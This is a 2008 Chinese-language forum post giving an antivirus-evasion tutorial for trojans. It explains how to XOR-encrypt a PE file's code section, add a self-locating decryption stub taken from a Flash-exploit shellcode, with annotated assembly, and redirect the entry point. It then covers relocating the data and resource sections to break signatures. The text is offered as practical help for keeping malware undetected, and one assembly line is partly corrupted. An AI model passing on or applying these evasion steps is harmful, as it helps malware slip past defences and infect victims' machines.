|
楼主 |
发表于 2008-8-19 16:28:18
|
显示全部楼层
|阅读模式
来自 河南省南阳市
高级免杀技术. 作者:kipass
现在一般的免杀方法大众化的都是手工定位特征码..然后改特征码..加壳方法不在此方法讨论范围内.但这种方法有个弊端,杀软是跟着你跑,但你也得跟着杀软跑,如果是流行度比较广的马,杀软几天一更新特征码,累死你...
呵呵..现在进入正题,我们知道一般PE文件有比较重要的三个段,代码段,数据段,要是dll的话还有一个重定位段....一般杀软杀的都是代码段,还有杀字符串的,字符串一般都在数据段,nod32杀的是数据段的输入输出表..这些废话,大家都知道的.
对于代码段,为了躲避跟着杀软跑我们得对代码段进行全部变形处理...有人问了,怎么变形呢?一般研究溢出,软件安全的DDMM,GGJJ们都知道在shellcode中有一种比较常见的为了保护自己的shellcode被直接修改利用用的xor加密...到这你应该可以想到了,这就是对整个代码段进行xor每个字节加密...但这样一来加密后就不能运行的..所以我们得找一段空白处,写一段我们的解密代码.并把文件入口点跳到这个解密代码上.
就以最近的flash漏洞的shellcode解密头来讲解. shellcode就是这段解密头的.
[post] 027F5118 /EB 16 jmp short 027F5130 //跳到往下027F5130 027F511A |5B pop ebx //自定位完毕 ebx存是就是紧接着loader下的需要解密处的开始内存地址..也就是027F5131处的 027F511B |33C9 xor ecx, ecx //清空ecx为下面循环解密xor的字节做准备 027F511D |66:B8 625D mov ax, 5D62 //传5D62给ax做初始密匙用 027F5121 |66:31***44B xor word ptr [ebx+ecx*2], ax //对ebx+ecx*2处进行双字节解密..以前的都是单字节解密居多. 027F5125 |41 inc ecx //ecx加1,也就是密匙加1,动态变换密钥..这就是这个解密头的稍微比以前的解密强一点的地方.. 027F5126 |40 inc eax //eax加1 累计解密多少次了.为下面判断做准备 027F5127 |66:81F9 5101 cmp cx, 151 //此处的151比较就是后面加密的代码的总长度除二..可以替换成你自己按需要解密的总字节数除以二 027F512C |7C F3 jl short 027F5121 //没有解密完就跳,继续解密 027F512E |EB 05 jmp short 027F5135 //解密完了,跳到解密完的地方开始正式执行原程序的代码了,此处跳转地址改成你加密的地方的开始地址 027F5130 E8 E5FFFFFF call 027F511A //配合027F511A处的pop ebx实现此代码的自定位.. 面就是解密头...里面我已经注释非常清楚了...哈.到这里又有人要问了..怎么加密呀..上面已经有算法了..要用上面的话直接用这段代码直接运行一次就是就加密的代码了..呵呵.. 这样代码段就变的面目全非了...完全不一样了...好下面是数据段的修改了 最简单的修改把原来的数据段里的东西分开处理.比如说资源..把资源全部移位,再修正指向资源的指针..其它以此类推.这完了数据段也处理完了..至少在原来的位置上的东东全部也不一样了... 重定位的段处理和数据段一样..[/hide] |
|